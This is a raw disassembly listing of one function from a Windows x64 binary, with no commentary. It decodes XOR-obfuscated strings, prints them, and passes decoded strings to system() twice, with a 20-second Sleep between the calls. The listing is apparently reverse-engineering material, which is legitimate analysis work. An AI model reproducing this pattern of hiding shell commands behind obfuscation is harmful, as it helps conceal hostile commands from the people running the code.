movdqa xmm0, xmmword [0x1400ae2a0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14002daa0
cmp r8d, 0x1c
jge 0x14002dbe0
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x14002dbb0
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x48], xmm1
lea rax, [rsp + 0x30]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14002dc00
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x58]
call fcn.140022cf0
mov dword [rbp - 0x38], 0xa
mov r15, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdi, [rbp - 0x58]
cmp qword [rbp - 0x40], 0xf
cmova rdi, qword [rbp - 0x58]
lea r14, [rbp - 0x58]
cmova r14, qword [rbp - 0x58]
add r14, qword [rbp - 0x48]
cmp rdi, r14
je 0x14002dc80
mov qword [rbp + 0x2c0], 0xa
movzx edx, byte [rdi]
mov rcx, r15
call fcn.140028890
mov rcx, rax
lea rdx, [0x140028ad0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x2c0]
call fcn.140022730
inc rdi
cmp rdi, r14
jne 0x14002dc51
lea rcx, [rbp - 0x58]
call fcn.14001ed50
movups xmm0, xmmword [0x14009da28]
movups xmmword [rsp + 0x30], xmm0
movsd xmm0, qword [0x14009da38]
movsd qword [rsp + 0x40], xmm0
mov eax, dword [0x14009da40]
mov dword [rsp + 0x48], eax
cmp byte [0x14009da43], 0
je 0x14002de40
mov r8d, ebx
cmp r12d, 2
jl 0x14002de05
movdqa xmm5, xmmword [0x1400ae1f0]
movdqa xmm4, xmmword [0x1400ae2d0]
movdqa xmm6, xmmword [0x1400ae220]
movdqa xmm0, xmmword [0x1400ae2a0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14002dd00
cmp r8d, 0x1c
jge 0x14002de40
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x14002de10
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x20], xmm1
lea rax, [rsp + 0x30]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14002de60
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x30]
call fcn.140022cf0
mov dword [rbp - 0x10], 0xa
mov r15, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdi, [rbp - 0x30]
cmp qword [rbp - 0x18], 0xf
cmova rdi, qword [rbp - 0x30]
lea r14, [rbp - 0x30]
cmova r14, qword [rbp - 0x30]
add r14, qword [rbp - 0x20]
cmp rdi, r14
je 0x14002dee0
mov qword [rbp + 0x2c0], 0xa
movzx edx, byte [rdi]
mov rcx, r15
call fcn.140028890
mov rcx, rax
lea rdx, [0x140028ad0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x2c0]
call fcn.140022730
inc rdi
cmp rdi, r14
jne 0x14002deb1
lea rcx, [rbp - 0x30]
call fcn.14001ed50
mov eax, dword [0x14009da44]
mov dword [rbp + 0x2c0], eax
movzx ecx, word [0x14009da48]
mov word [rbp + 0x2c4], cx
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x2c0], 0x67
xor byte [rbp + 0x2c1], 0x37
xor byte [rbp + 0x2c2], 0x38
xor byte [rbp + 0x2c3], 0x39
xor cl, 0x3a
mov byte [rbp + 0x2c4], cl
xor byte [rbp + 0x2c5], 0x3b
xor al, 0x3c
mov byte [rbp + 0x2c6], al
lea rcx, [rbp + 0x2c0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14009da50]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14009da60]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x14009da70]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14009da80]
movups xmmword [rsp + 0x60], xmm1
movsd xmm0, qword [0x14009da90]
movsd qword [rsp + 0x70], xmm0
cmp r12d, 2
jl 0x14002e0cf
movdqa xmm5, xmmword [0x1400ae1f0]
mov edx, ebx
movdqa xmm4, xmmword [0x1400ae2d0]
movdqa xmm6, xmmword [0x1400ae220]
movdqa xmm0, xmmword [0x1400ae2a0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x34]
mov r8d, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x48
jl 0x14002dfd0
jmp 0x14002e110
lea r9, [rsp + 0x30]
mov r8d, ebx
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x48
jl 0x14002e0e0
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 8], xmm1
lea rax, [rsp + 0x30]
inc rsi
cmp byte [rax + rsi], 0
jne 0x14002e124
mov r8, rsi
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 8]
call fcn.140022cf0
mov dword [rbp + 0x18], 0xa
mov r14, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdi, [rbp - 8]
cmp qword [rbp + 0x10], 0xf
cmova rdi, qword [rbp - 8]
lea rsi, [rbp - 8]
cmova rsi, qword [rbp - 8]
add rsi, qword [rbp + 8]
cmp rdi, rsi
je 0x14002e1af
mov qword [rbp + 0x2c0], 0xa
nop word [rax + rax]
movzx edx, byte [rdi]
mov rcx, r14
call fcn.140028890
mov rcx, rax
lea rdx, [0x140028ad0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x2c0]
call fcn.140022730
inc rdi
cmp rdi, rsi
jne 0x14002e180
lea rcx, [rbp - 8]
call fcn.14001ed50
mov ecx, 0x4e20
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x14009da98]
mov dword [rbp + 0x2c0], eax
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x14002e29c
cmp r12d, 2
jl 0x14002e266
movdqa xmm3, xmmword [0x1400ae1f0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400ae2d0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400ae2d0]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400ae220]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400ae2a0]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0x2c0], xmm2
jmp 0x14002e29c
lea r8, [rbp + 0x2c0]
nop dword [rax]
mov eax, 0x4ec4ec4f
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, bl
sub al, cl
add al, 0x36
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 4
jl 0x14002e270
lea rcx, [rbp + 0x2c0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea r11, [rsp + 0x390]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret